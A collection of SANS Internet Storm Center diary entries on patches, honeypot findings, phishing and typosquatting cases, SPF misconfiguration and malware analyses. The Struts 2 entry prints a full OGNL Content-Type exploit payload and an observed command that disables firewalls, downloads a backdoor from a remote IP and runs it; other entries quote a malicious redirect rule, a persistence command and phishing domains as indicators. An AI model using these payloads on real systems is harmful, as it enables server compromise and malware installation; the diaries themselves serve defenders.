[1] https://isc.sans.edu/forums/diary/Unity+Makes+Strength/20535/
[2] https://www.sans.org/reading-room/whitepapers/incident/incident-response-capabilities-2016-2016-incident-response-survey-37047
[3] https://www.virustotal.com/intelligence/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Today, Microsoft released its monthly security bulletins. February's delayed release was combined with this March release, which likely caused the large number of bulletins (18 total, which includes the Adobe Flash bulletin)

You can review the patch summary here: https://isc.sans.edu/mspatchdays.html?viewday=2017-03-14 or via our API. 

Probably the most "scary" set of vulnerabilities in this update are %%cve:2017-0143%%,  %%cve:2017-0144%%, %%cve:2017-0145%%,%%cve:2017-0146%%, %%cve:2017-0148%% . These are remote code execution vulnerabilities that allow an unauthenticated user to execute arbitrary code. Microsoft rates the exploitability with "1", indicating that it wouldn't be terribly difficult to develop an exploit for these. Yes, you already blocked SMB at your perimeter. But further reducing your attack surface is always a good idea. You may want to consider disabling SMBv1 (which should not cause any problems if you only use currently supported Windows versions).

The other two server related bulletins, MS17-015 for Exchange and MS17-016 for IIS, are more benign in comparison. Both are XSS vulnerabilities and could be used to elevate privileges by running code in an administrators browser.

Some of the highlights:

Six of the bulletins include vulnerabilities that have either already been made public or that are already being exploited:

MS17-006: One of the Internet Explorer information disclosure vulnerabilities (%%cve:2017-0008%%) has been publicly disclosed in the past. This vulnerability applies to Internet Explorer and Edge (MS17-007).

MS17-007: In addition to %%cve:2017-0008%%, there is a remote code execution vulnerability (%cve:2017-0037%%) that has been disclosed publicly. There are also three different spoofing vulnerabilities that have been disclosed publicly. 

MS17-012: A denial of service vulnerability (%%cve:2017-0016%%) has been publicly disclosed. Microsoft does not list this one as exploited, but an exploit has been publicly available for a bit over a month now. This is the SMB_TREE_CONNECT vulnerability that made quite a few headlines when it was released.

MS17-013: One of the 4 GDI elevation of privilege vulnerabilities (%%cve:2017-0005%%) has already been exploited, but details had not been disclosed publicly.

MS17-017: A privilege escalation vulnerability in the Windows Kernel (%%cve:2017-0050%%) has been publicly disclosed.

MS17-022: The XML Core Services Information Disclosure Vulnerability (%%cve:2017-0022%%) has already been exploited. This exploit would target a client, and by loading a malicious XML file and attacker may learn about the existence of files on the disk. 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Back in 2005, I wrote a perl script to calculate multiple cryptographic hashes for me. We had md5sum and sha1sum, but I wanted a single script that could calculate whichever one I wanted or all of them at the same time. Well, the weekend before last, I rewrote it in Python[1] and added SHA3 support. I've added it to my githup scripts repo[2]. I also added the -r switch to the Python version, so that it can be used to recursively hash all the files in a directory a la Jesse Kornblum's hashdeep suite. Also, for consistency with Jesse's recent release of his beta of sha3deep[3], I chose to use SHA3-384 for my SHA3 hash choice (in preliminary testing I had been using SHA3-256, but that could have been confused with SHA2-256 aka SHA256 as currently used by VirusTotal, etc.). By default, it will calculate all 5 hashes, or you can specify which ones you want with command-line switches. For example, sigs.py -m will give you output that should be identical to md5sum. Also, without the -f switch, it will show relative paths, with it, it will show full path. Enjoy.

jac@leibnitz[510]$ sigs.py -h
usage: sigs.py [-h] [-V] [-r] [-a] [-m] [-s] [-2] [-3] [-5] [-f] [-b blk]
               FILE [FILE ...]

Calculate hashes

positional arguments:
  FILE                 files to hash

optional arguments:
  -h, --help           show this help message and exit
  -V, --version        print version number
  -r, --recursive      recursive mode. All subdirectories are traversed
  -a, --all            All (MD5, SHA1, SHA256, SHA512, and SHA3-384), default
                       if no other options chosen
  -m, --md5            MD5 signature (md5sum equivalent output)
  -s, --sha1           SHA1 signature (sha1sum equivalent output)
  -2, --sha256         SHA2 (aka SHA2-256) signature (sha256sum equivalent
                       output)
  -3, --sha3           SHA3-384 signature
  -5, --sha512         SHA512 (aka SHA2-512) signature (note: base64 encoded
                       rather than hex)
  -f, --fullpath       print full path rather than relative
  -b blk, --block blk  block size to read file, default = 65536

References

1. https://github.com/clausing/scripts/blob/master/sigs.py
2. https://github.com/clausing/scripts
3. http://jessekornblum.livejournal.com/296308.html

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

I sometimes I take the time to review my honeypot to see if it captured anything that might be worth looking at and found this VBE script that looked kind of interesting. I used Didier's VBE to VBS python [1] script to examine it content. It contains a WScript that direct the host to download a tmp2.exe file from a website where the file is no longer there.

A check against Virustotal identifies this script as a VBS Trojan downloader script[3]. Since I couldn't get a copy of the tmp2.exe, I started reviewing some of the other files uploaded to the honeypot FTP directory to find any potential relationship with this file (based on the domain, hash, source) and found two text files with the following content captured over the past 3 weeks:

RewriteEngine on
RewriteCond %{HTTP_REFERER} ^(.*)google\.(.*)
RewriteRule .* http://testswork.ru/info.zip [L]

Again, the info.zip file was no longer available on this website. Checking the honeypot logs, I was able to identify the name of VBE script when it was uploaded this past week (Monday) was in fact the file I was looking for, info.exe:

[2017-03-06 04:51:48] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] send: 200 Switching to BINARY mode.
[2017-03-06 04:51:48] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] recv: PASV
[2017-03-06 04:51:48] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] send: 500 Unknown command.
[2017-03-06 04:51:48] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] recv: TYPE I
[2017-03-06 04:51:48] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] send: 200 Switching to BINARY mode.
[2017-03-06 04:51:48] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] recv: PORT XXX,92,155,17,8,171
[2017-03-06 04:51:48] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] send: 200 PORT command successful.
[2017-03-06 04:51:49] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] recv: STOR /info.zip
[2017-03-06 04:51:49] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] send: 150 Ok to send data.
[2017-03-06 04:51:49] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] info: Data connection to XXX.92.155.17:2219 established.
[2017-03-06 04:51:49] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] recv: <(DATA)>
[2017-03-06 04:51:49] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] info: Data connection to XXX.92.155.17:2219 closed.
[2017-03-06 04:51:49] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] info: Stored 1068 bytes of data to: /opt/inetsim/data/ftp/upload/8e39c0cc78b5a86364cfcaa611e12a1adee0c178, original file name: /info.zip, full virtual path: /info.zip

Now that I know the filename, its size and MD5, I can check back when was the first time this info.zip file to see if it was uploaded more than once.

[2017-02-22 10:48:19] [3063] [ftp_21_tcp 29415] [XXX.70.132.153:1599] recv: STOR info.zip
[2017-02-22 10:48:19] [3063] [ftp_21_tcp 29415] [XXX.70.132.153:1599] info: Stored 1068 bytes of data to: /opt/inetsim/data/ftp/upload/570437664c76024ba0b72c9498623f8ed67efd83, original file name: info.zip, full virtual path: /info.zip
[2017-02-22 21:10:45] [3063] [ftp_21_tcp 31083] [XXX.53.98.227:64402] recv: STOR info.zip
[2017-02-22 21:10:46] [3063] [ftp_21_tcp 31083] [XXX.53.98.227:64402] info: Stored 1068 bytes of data to: /opt/inetsim/data/ftp/upload/e920ac4fbf87eb3bce3051ec30d7f10045fb4b5b, original file name: info.zip, full virtual path: /info.zip
[2017-03-06 04:51:49] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] recv: STOR /info.zip
[2017-03-06 04:51:49] [3063] [ftp_21_tcp 26229] [XXX.92.155.17:2018] info: Stored 1068 bytes of data to: /opt/inetsim/data/ftp/upload/8e39c0cc78b5a86364cfcaa611e12a1adee0c178, original file name: /info.zip, full virtual path: /info.zip

MD5 Results of the 3 Files is a match. Earliest upload captured 22 Feb 2017

root@honeypot:/opt/inetsim/data/ftp/upload# md5sum 570437664c76024ba0b72c9498623f8ed67efd83
8604e0f263922501f749cfca447b041a  570437664c76024ba0b72c9498623f8ed67efd83
root@honeypot:/opt/inetsim/data/ftp/upload# md5sum e920ac4fbf87eb3bce3051ec30d7f10045fb4b5b
8604e0f263922501f749cfca447b041a  e920ac4fbf87eb3bce3051ec30d7f10045fb4b5b
root@honeypot:/opt/inetsim/data/ftp/upload# md5sum 8e39c0cc78b5a86364cfcaa611e12a1adee0c178
8604e0f263922501f749cfca447b041a  8e39c0cc78b5a86364cfcaa611e12a1adee0c178

The MD5 for the info.vbe script :

vagrant@brain:~$ md5sum info.vbe
e9ffdb716af3d355b25096a8ed4de8ef  info.vbe

[1] https://blog.didierstevens.com/2016/03/29/decoding-vbe/
[2] https://isc.sans.edu/forums/diary/VBE+Encoded+VBS+Script/20891/
[3] https://www.virustotal.com/en/file/52ec3ba075a507e62bb6e3272fb13b30a8ddc0f62c4ea194311d558b338eb5ed/analysis/

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

In our craft, there are more than ample opportunities to occupy our time. There are so many things you CAN do. How can you ensure focus on the things that actually make the biggest impact? I suggest that often times you take on more work than what you are able to complete. Many times there is so much work to do that nothing ever seems to get completed. 

I readily remember several cases where a combination of my ambition, auditors and loss of key team members facilitated this behavior in me. One in particular was a very important compliance project deadline that had no tolerance for schedule slippage. The internal auditors wanted to review the project in detail ahead of the external auditors coming to inspect the project. All while the solution was still being deployed. Lots of stress and long hours are my biggest memories of this project. While important at the time, looking back now I struggle to remember many of those details. What I do remember are the other projects that suffered neglect during this heroic effort.

Risk assessments inform you of clear and present problems. Project deadlines are looming and start pile up. Demands from your leaders come in unexpected waves. What is a strategy to position you for success? Consider writing down your projects. On paper. Start to document their priority, their deadlines along with the stakeholder expectations. Regularly and diligently track your progress and communicate them clearly up, down and horizontally to your peers, focusing on the opportunity cost of what is being neglected. 

Many times this extra clarity will help in terms of someone deciding for you that the project that seems so important right now should go on your "not to do" list instead. I am a BIG fan of the not to do list as it helps clearly communicate opportunity cost in terms of risk to the most important projects and initiatives. The clarity that comes from this exercise is worth far more than the effort to put it all together.

What ONE thing will you choose to focus on when you return to work on Monday morning? What TWO things best belong on your "not to do" list? Whether you enter them in our comments section below or keep them to yourself, consider adopting this approach while on your Monday morning commute to work.

Russell Eubanks

@russelleubanks

securityeverafter at gmail dot com

IP location, GeoIP or Geolocalization are terms used to describe techniques to assign geographic locations to IP addresses.  Databases are built and maintained to link the following details to IP addresses:

• Country
• Region 
• City
• Postal code
• Internet Service Provider
• Coordinates (Longitude, Latitude)
• Autonomous system (BGP)

There are many IP location service providers like Maxmind or DB-IP. Some are free, other are paying. How and when IP location can be useful? Usually, to give more visibility to reporting. The map below represented the geographic location of hosts that connected to my honeypots for the last 24 hours:

IP location can be used to enrich your data and improve visibility in security dashboards:

If increasing visibility is a nice feature, why not use IP databases also for defensive purposes? Some security products propose this feature. You can block traffic coming from certain regions:

If this looks very “aggressive”, in some cases, it can be useful if you want to protect online services used only by local people (from your country). If you don’t make business with China, you should not receive connections from Chinese IP addresses. This sounds legit. However, this control may have nasty effects. The IPv4 address space being fully assigned[1], organisations which need more IP addresses are looking to buy some subnets from other organisations which have unused allocations. A new business is born!

One of our readers, based in the US, contacted us about an issue with a /19 subnet they bought from an ISP in another country. They started to allocate IP addresses from this /19 to their customers and some of them were not able to connect to 3rd-party websites. After some investigations, the affected websites used IP location databases to restrict access from “trusted” countries (note the quotes!). Their IP location databases being too old, the IP addresses were still referenced as assigned to their old country and… blocked!

How are those databases updated? The Internet topology is changing daily and IP ranges are (re-)assigned all the time. Most of the GeoIP database providers use whois records to track changes and update their database as fast as possible. Maxmind is transparent about the accuracy of their data[2]. They also propose a form to submit changes. Here is an example of the database accuracy for Belgium:

Even if databases are constantly updated (the update rate may also depend on your subscription - free or paying), it’s the responsibility of the end-user or the security solution provider to implement a process to automatically update databases. It’s possible to check the version using the command line. Here is an example with Linux and the GeoIP tools:

root@so:/# geoiplookup -v 8.8.8.8
GeoIP Country Edition: GEO-106FREE 20170307 Build 1 Copyright (c) 2017 MaxMind
GeoIP City Edition, Rev 1: GEO-533LITE 20151201 Build 1 Copyright (c) 2015 MaxMind Inc All Rights Reserved
GeoIP ASNum Edition: GEO-117 20170306 Build 1 Copyright (c) 2017 MaxMind Inc All Rights Reser
GeoIP Country V6 Edition: GEO-106FREE 20170307 Build 1 Copy
GeoIP ASNum V6 Edition: GEO-117 20170306 Build 1 Copyright (c) 2017 MaxMind Inc All Rights Re
GeoIP City Edition V6, Rev 1: GEO-536LITE 20151201 Build 1 Copyright (c) 2015 MaxMind Inc All Rights Reserved

I checked the new IP addresses of our readers against several online services and all of them reported an accurate location (USA). Conclusion: the blocking service was for sure using an outdated version of an IP location database. The only solution is to contact them to report the problem and ask them to upgrade.

Personally, I won’t recommend blocking traffic based on IP location. Why? The Internet has no border and you never know from where your visitors will reach you. The following Tweet is the best example:

[1] https://blog.apnic.net/wp-content/uploads/2016/01/afig1.jpg
[2] https://www.maxmind.com/en/geoip2-city-database-accuracy

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

On Monday, Apache released a patch for the Struts 2 framework [1]. The patch fixes an easy to exploit vulnerability in the multipart parser that is typically used for file uploads. A Metasploit module was released that same day, and some readers reported seeing already exploit attempts in the wild.

You should be running Struts 2.3.32 or 2.5.10.1. All prior versions are vulnerable.

Struts 2 is a Java framework that is commonly used by Java-based web applications. It is also knowns as "Jakarta Struts" and "Apache Struts". The Apache project currently maintains Struts.

The vulnerability allows an attacker to include code in the "Content-Type" header of an HTTP request. The code will then be executed by the web server. Here is a request that I collected against one of my servers:

User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html..
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo \"587d7b356191903a8ff327f548766288\"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: */*
Referer: http://linux.cn/
Accept-Language: zh-cn
Content-Length: 0
Host: [removed]
Connection: Keep-Alive

Yes... the content type header is quite long. About 800 bytes. It should be easy to catch these exploit attempts with Snort by just setting the "max_header_length" parameter in the http_inspect preprocessor. I haven't tried it yet, but setting this to 500 should work fine (the default is 750, which should work too). 

Snort.org included a rule in Tuesday's subscriber update.

The exploit should work on Windows and Linux. It tests which operating system it runs on via "@java.lang.System@getProperty('os.name')". It it runs on Windows, then it will execute cmd.exe /c followed by a command (highlighted in red in above's sample). One Unix, it will execute /bin/bash -c followed by the same command.

Commands I have seen so far:

Simple vulnerability checks:

echo "Struts2045"
echo \"587d7b356191903a8ff327f548766288\"

Attempts to download and run code:

/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://222.187.221.190:1234/2020;chmod 777 2020;./2020;
(Virustotal identifies this as a generic backdoor. See https://www.virustotal.com/en/file/db98788729f4810f64f9ff7b279dd69ef47942b87fc259fefc56e30f3aedb171/analysis/ )

Packet capture of the exploit running against a lab system 

[1] https://cwiki.apache.org/confluence/display/WW/S2-045

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

An observation from the road, was with a client recently and the discussion of proxy entered into the conversation. Now before we get all “Political” and start dropping packet bombs, a technical challenge came up that made me really think.

1. What traffic is ‘really’ hitting the proxy?
2. How many proxy ‘bypass’ rules are in place?
3. Are you inspecting Encrypted Traffic?
4. Who/What is in the Encryption Inspection Bypass list?

Google recently released some numbers on encrypted traffic and we are WELL past the 50% mark [1] [2] [3]. With the ease of getting signed certificates through organizations like Letsencrypt and the high level of privacy concerns in the world, it only makes sense [4].

The observation, proxy was politically driven, senior management did not have the right business understanding of what a proxy does. Further, the word “proxy” had become and abstract term for the concept of filtering, blocking, and proxy. This made it hard when ‘vendor’ uses industry language and organization says “yes, we understand that is what’s REALLY going on but please say proxy for that with management.”

Now to the discovery portion of our diary, how long has it been since you have looked at what is actually flowing out of your environment? Yes yes.. we know that ‘everything’ runs over ports 80 or 443, but after taking a look at my own environment? A little bit more of non 80/443tcp traffic was leaving that expected (and that was even with the cynical pre-disposition).

With a greater than 50% of traffic being encrypted it is clear that the topic of decryption needs to be revisited. Along with that, what is actually being picked up outbound and what is not hitting the known exit points (e.g. is it really going over 443?).

[1] http://www.pcmag.com/news/342935/77-percent-of-google-internet-traffic-now-encrypted

[2] http://www.newsfactor.com/news/Google--77--of-Traffic-Is-Encrypted/story.xhtml?story_id=111003TV6AOF

[3] https://www.inferse.com/40477/google-transparency-report-2016/

[4] https://www.nytimes.com/2017/03/07/world/europe/wikileaks-cia-hacking.html?_r=0

Richard Porter

--- ISC Handler on Duty

Everyday we hear about new pieces of malware which implement new techniques to hide themselves and defeat analysts. But they are still people who write simple code that just "do the job". The sample that I’m reviewing today had a very short lifetime because it was quickly detected by most antivirus. Its purpose is to steal information from the infected computers like credentials. When the sample was submitted for the first time to VT, it reached a score of 11/59 which is not bad. Today, its score is 44/59[1].

Amongst actions like copying itself to C:\Users\%USER%\Temp\Skype\chrome.exe. It checks the victim’s computer location via hxxp://ip-score.com/checkip/ and collects information about the victim. Then the malware creates a scheduled task to execute itself every minute:

C:\WINDOWS\system32\cmd.exe /c schtasks /create /tn "MOCLXG" /tr C:\DOCUME~1\Xavier\LOCALS~1\Temp\Skype\chrome.exe /sc minute /mo 1

The way it steals information from the victim in interesting in this case. People are often lazy so why reinvent the wheel? There already exists tools to collect credentials from applications like browsers, email clients, …

The PE file is dropped on the file system, executed and the output is saved in a temporary file:

C:\WINDOWS\system32\cmd.exe /c Pl2.exe -f "Pl2.txt"

It captures passwords from well-known applications. Once completed, results are sent to the C2:

This is a guest diary submitted by Renato Marinho

Distracted users mistyping the first “n” when accessing www.santanderempresarial.com.br are subject to banking credentials theft and a very convincing phone call from a pretended Santander’s attendant. The call’s reason? To collect the victim’s OTP Token combination and proceed with previously prepared fraudulent.

This is the exact scenario we witnessed this week during an incident response procedure and that is detailed in this diary. In the end, I bring considerations and reflections on OTP Tokens effectiveness as a second factor authentication solution.

The phone call

The employee in charge of the financial sector of the targeted company received a phone call from a supposed Santander Bank attendant. The supposed attendant informed that suspicious transactions were identified in the company’s bank account that required confirmation, otherwise, would be canceled immediately.

Initially, distrusting the phone call, the company’s employee asked how the attendant could testify that he was from Santander. The supposed attendant informed that Santander maintains a database with all customer’s details and started saying the full name of the account owner, his CPF (SSN EUA equivalent), registered phone numbers and even details about the machine from which the transactions was made, like IP address, operating system, and Internet browser to attest credibility. All the information was correct.

The attendant continued by asking about those suspected transactions but this time he informs the values: R$ 5.330,00 and R$ 10.083,15. Intriguingly, transactions with those values were made in the company’s account that day.

Continuing the talk, the attendant informed that the company’s employee had failed to accomplish an important security step during his access to the bank website and should be wary as many fraudulent transactions happened in the past years (later, we realized that the missing step was the OTP combination typing in the fake website).

Even after so many confirmations, the employee decided not to follow the attendant’s instruction. He informed that he would call Santander using the number he knows and continue the incident treatment. The attendant accepted the customer’s decision but, before turning off the phone, insisted on warning the company could lose the money if the reverse operation wasn’t done that moment.

Misinformation

After the call end, the targeted employee analyzed in detail the values mentioned by the supposed Santander attendant and realized it were credited in the company’s account and not debited as claimed in the call.

By calling Santander, it also verified that there were no abnormal transactions into the company’s bank account and that the bank did not call them that day for any reason. In other words, it was a fraud attempt. From that moment on, all the passwords and account access were blocked by Santander to avoid further violations.

Incident Response

Trying to identify how the criminals have collected the company’s bank credentials and accessed the account, we talked to the employee that received the criminal’s phone call. He told us that he didn’t receive any suspicious e-mail or clicked any strange link. The only strange thing that happened that day was an access to Santander’s website that asked for the OTP Token combination right after the login. As this unusual, he closed the page and started it over.

By analyzing the browser history, we found this address:

http://www.satanderempresarial.com.br
http://www.santanderempresarial.com.br

Note that there is a missing “n” in the first domain name.

So, I tried reaching the mistyped address in order to confirm the typosquatting attack but curiously the content I found was an output from the phpinfo() command; and not a fake Santander website, as expected. Just after trying to access using another public IP address, I was able to reach the fake website. It seems the fraudsters included its victims’ IP addresses in some kind of block list to mislead an incident responder.

Right after we accessed the fake Santander website, it went offline. Would they be perceiving our analysis or was it just due to the end of office hours? It sounds like a joke, but it does make sense. This is the kind of attack that requires immediate action and possible real-time interaction with the victim to be successful due to the OTP Token data volatility. Confirming our theory, the website came back next day 8-AM and, we finally could proceed with the analysis.

Using a lab computer, we accessed the typosquatting address while capturing the network traffic and realized the HTTP response was redirecting http://www.satanderempresarial.com.br to http://acessoempresarial.890m.com/netibe, as shown in Figure 1.

Figure 1: HTTP redirect evidence

Following the target company employee steps, I started to fill the forms with random information, as seen in Figure 2.

Figure 2: Filling in bank agency and account numbers on the fake website

As expected, there was no form validation in place. On the next page, they ask us to type the username and password as seen in Figure 3.

Figure 3: Filling the username and password on the fake website

Again, no validation. We were taken to a form asking the following fields: electronic signature, Token serial number and OTP combination, as seen in Figure 4.

Figure 4: Form asking to type OTP Token Information

If the target company employee reached this form, it was sure he had filled the previous forms with all the information necessary for the criminals to access his company’s bank account – and that explains how the supposed Santander attendant confirmed all those data during the phone call. It also explains the call reason. They were trying to obtain the OTP Token combinations to proceed with fraudulent operations and, as they argued two suspected transactions, they were likely to ask the victim at least two OTP codes.

Indicators of Compromise (IOCs)

During this work, in addition to the addresses directly involved in the treated incident, we found other 27 “.br” domains owned by the same person and possible used in similar campaigns against Santander and Itau banks, as shown below.

www.satanderempresarial.com.br
satanderempresarial.com.br
acessoempresarial.890m.com
www.bancoitauuniclass.com.br
www.iaupersonnalite.com.br
www.iraupersonnalite.com.br
www.itaipersonnalite.com.br
www.itauoersonnalite.com.br
www.itauperaonnalite.com.br
www.itaupersinnalite.com.br
www.itaupersnnalite.com.br
www.itaupersobalite.com.br
www.itaupersonnaite.com.br
www.itaupersonnakite.com.br
www.itaupersonnalire.com.br
www.itaupersonnalitr.com.br
www.itaupersonnalitre.com.br
www.itaupersonnaliye.com.br
www.itaupersonnalote.com.br
www.itaupersonnslite.com.br
www.itauperspnnalite.com.br
www.itaupresonnalite.com.br
www.itaupwrsonnalite.com.br
www.itaypersonnalite.com.br
www.itraupersonnalite.com.br
www.iyaupersonnalite.com.br
www.otau.com.br
www.santanderemprezarial.com.br
www.wsantander.com.br
www.wwsantander.com.br

Final considerations

Although typosquatting attacks are not new, this case draws our attention due to no malware usage (unlike Citibank’s case last year [1]) and to the volatility of the information criminals are stealing. It’s a kind of interactive and limited-scale attack that reminds us of the risks of using OTP Tokens on a multi-factor authentication.

There is no doubt about the increased protection delivered by these devices, but, due to the fact the code may be captured on man-in-the-middle or typosquatting attacks and replayed, it may be inadequately as the possession factor compound in a two-factor authentication.

It would be more appropriate to use a real-time challenge/response solution such as those employed by the U2F (Universal 2nd Factor) standard [2]. Those solutions implement public-key cryptography, phishing and man-in-the-middle protections by digitally signing the response, origin URI and TLS Channel ID with U2F device’s private key [3]. The downside of this solution are the interoperability problems, since the client application (as the web browser) is directly involved in the authentication process.

--

Renato Marinho

Morphus Labs | linkedin.com/in/renatomarinho | @renato_marinho

References:

[1]http://gizmodo.com/new-typosquatting-os-x-malware-attacks-you-when-mistypi-1764955970
[2] https://www.yubico.com/about/background/fido
[3] https://developers.yubico.com/U2F/Protocol_details/Overview.html

I had to help out someone with this sample.

It contains obfuscated strings like these:

Notice the Like operator. This is a strong indication that the strings are obfuscated by adding extra characters (e.g. the string left of the Like keyword). If we remove all these extra characters, we end up with this:

This PowerShell command executes a downloaded EXE and bypasses UAC with the eventviewer method.

If you want more details on the steps I took to deobfuscate these strings, you can watch this video:

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

In a previous diary[1], I explained why the automatic processing of IOC’s (“Indicator of Compromise”) could lead to false positives. Here is a practical example found yesterday. I captured the following malicious HTML page (MD5: b55a034d8e4eb4504dfce27c3dfc4ac3)[2]. It is part of a phishing campaign and tries to lure the victim to provide his/her credentials to get access to an Excel sheet. Nothing very dangerous for most people. It’s a simply obfuscated Javascript code:

<script type="text/javascript">
<!--
document.write(unescape("%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e ... ")
//-->
</script>

When loaded in the browser, it first displays a warning:

Then, it renders the fake Excel sheet with a popup to enter an email address and password:

If you analyse this page manually or using a sandbox system, you will see that it performs three HTTP Request to download pictures. My Cuckoo sandbox detected the following HTTP requests (sorry for the small fonts):

The detected URLs are:

• hxxp://i.imgur.com/NcZJkGo.png : The dialog box
• hxxp://i.imgur.com/DS13EYq.png : The fake Excel sheet

imgur.com is a picture exchange platform and is regularly used to host such material. But the third request is different and looks totally legit:

• hxxp://tennistonic.com/mod/feedback/_graphics/ajax-loader-bar.gif

This last image is an animated GIF that displays a loading bar (close to the “Starting" string on the picture above).

There exists plenty of versions of this loader bar[3] and attackers like them. It’s not unusual to see one on a malicious page to make it look more “dynamic”.  The problem is that automation can categorize the website tennistonic.com as malicious and affect its reputation. If a tool decides to put the URL in a list of IOC's, access to it can be blocked when IOCs are used as a blocklist. I also tested this page with a FireEye appliance and the site tennistonic.com popped up in the logs!

A good practice is to prevent hot-linking of images. Basically, you configure your web server to serve images only of the referer is correct:

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?rootshell.be [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ - [NC,F,L]

Take care!

[1] https://isc.sans.edu/forums/diary/IOCs+Risks+of+False+Positive+Alerts+Flood+Ahead/21977/
[2] https://www.virustotal.com/en/file/ff9ca701cfe7fdccd7aa60d6368c1adc1c4282c030b05a2790bc9a968e870c13/analysis/
[3] https://www.google.be/search?q=ajax-loader-bar.gif

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

I was looking at a curious uptick in traffic to TCP port 6881.    What caught my eye was that it was a immediate uptick from almost nothing and it has been sustained over a couple of weeks. Also, the number of sources has risen significantly compared to the past year.  Here's what it looks like now:

Here's what it looked like over the past year.  Notice the number of sources/day, especially for the time frame above :

If anyone has any packets or ideas, please send them in! 

I recently had a client get an interesting phishing message.   They had received a fake message from their CEO to their Controller - a "start the conversation" email to end up with a wire transfer.  This sort of email is not common, but is frequent enough in Sr Management circles, especially if you are in the middle of merger or acquisition discussions with another company.

Some technical warning signs in that note were:

• While the "From" field in Outlook showed the CEO's email, the "Reply-To:" field was not to the organisation's domain at all, it was to a bogus inbox at "workmail.com".  
• The message ID and the path showed that the original mail exchanger was at smtpcorp.com  (again, not the organisation).

So the discussion quickly moved from "I'm glad our execs came to us, we really dodged a bullet there" to "just how did this get in the door past our spam filter anyway?"

This is where things got interesting.  Their SPAM filter does use the SPF (Sender Policy Framework) DNS TXT record, and a quick check on the SPF indicated that things looked in order there.
However, after a second look, the problem jumped right out.  A properly formed SPF will end with a "-", which essentially means "mail senders in this SPF record are valid for this domain, and no others".  However, their SPF had a typo - their record ended in a "~" instead.  What the tilde character means to this spam filter is "the mail senders in this SPF record are valid for this domain, but YOLO, so is any other mail sender".

From the RFC (RFC7208), the ~ means "softfail", "A "softfail" result is a weak statement by the publishing ADMD that the host is probably not authorized".  More detail appears later in the RFC:
"A "softfail" result ought to be treated as somewhere between "fail" and "neutral"/"none".  The ADMD believes the host is not authorized but is not willing to make a strong policy statement.  Receiving software SHOULD NOT reject the message based solely on this result, but MAY subject the message to closer scrutiny than normal."  This same reasoning applies to the ~all and -all directives in the SPF (which I see more often).

You'd think that a lot has changed since 2006 (the date of the original SPF spec, RFC4408), that in 2017 a spam filter should fail on that result, but apparently not (sad panda). Kinda makes you wonder what the actual use case is for that tilde character in the definition - I can't think of a good reason to list permitted mail senders, then allow any and every other server too.

That being said, their filter *should* still have caught the mismatch between the "from" and "reply-to" fields, especially since it involved an external source and internal domains.  Or at least paired that up with the domain mismatch to weight this email towards a SPAM decision. But that's another rant altogether.

Long story short - this type of attack was pretty popular (and widely reported) about a year ago, but successful methods never (never ever) go away.  A little bit of research can make for a really well-formed phish, right down to using the right people in the conversation, good grammar, and phrasing appropriate to the people involved.  So a bit of homework can get an attacker a really nice payday, especially if their campaign targets a few hundred companies at a time (and they put more work into their email than the example above)

So in this case, a typo in a DNS record could have cost millions of dollars.  Good security training for the end users and vigilant people made all the difference - a phone call to confirm is a "must-do" step before doing something irrevocable like a wire transfer.

===============
Rob VandenBrink
Compugen

Xavier pointed me towards a new issue posted on Palo Alto's Unit 42 blog - the folks at PA found apps in the Google Play store infected with hidden-iframe type malware.  132 apps (so far) are affected, with the most popular one seeing roughly 10,000 downloads.  But we're not at the end of the trail of breadcrumbs yet .. these apps were traced back to just 7 developers, who aren't in the same company, but all have a connection to Indonesia (the smoking gun here was the code signing certificate).  But wait, we're *still* not at the punchline.

Two more facts to throw into the pot - the malware that the app downloads is a windows executable, so this is unintentional - the developers in question would know that a windows PE won't run on their android platform.  The malicious apps also point to sinkholed domains, so they are doubley ineffective.  The theory so far is that these 7 developers have all downloaded an infected IDE (Integrated Development Environment) or APK packager, which then infects all of their subsequent android apps.

